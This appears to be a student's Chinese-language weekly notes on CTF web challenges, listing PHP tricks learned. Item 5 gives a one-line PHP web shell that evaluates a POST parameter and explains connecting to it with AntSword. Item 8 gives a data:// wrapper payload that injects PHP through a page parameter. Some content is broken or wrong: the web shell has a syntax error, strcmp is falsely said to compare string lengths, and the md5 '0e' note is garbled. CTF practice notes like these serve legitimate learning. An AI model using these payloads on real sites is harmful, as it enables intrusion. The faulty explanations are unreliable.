[PHP知识库]第三周总结

1.学习御剑突破，和bak文件

常见的备份文件：bak bkf gho

2.index.php

首页文件

3.index.phps

?phps即为php source,phps文件就是php的源代码文件，通常用于提供给用户（访问者）查看php代码，因为用户无法直接通过Web浏览器看到php文件的内容，所以需要用phps文件代替

4.urldecode

传参时如果出现url，系统会自动帮我们解码一次

5.一句话木马

<?php @eval($_POST['attack'];?>

上传成功后找到途径，用蚁剑连接，密码为POST[' ']里面的，找到flag

6.strcmp

比较两个字符串长度，如1234长度为4，mmm长度为3

7.md5

如果是0e开头的，md5的值为0

8.strstr

查找文件中的对应代码，

??page=data://text/plain,<?php echo $_SERVER['DOCUMENT_ROOT'];?>? 查找根目录

9.密码学

10.misc

下周任务：高数考试? 学习sqlmap? 写卷子? 背英语单词

本周完成：20道ctf，13道web+misc+密码学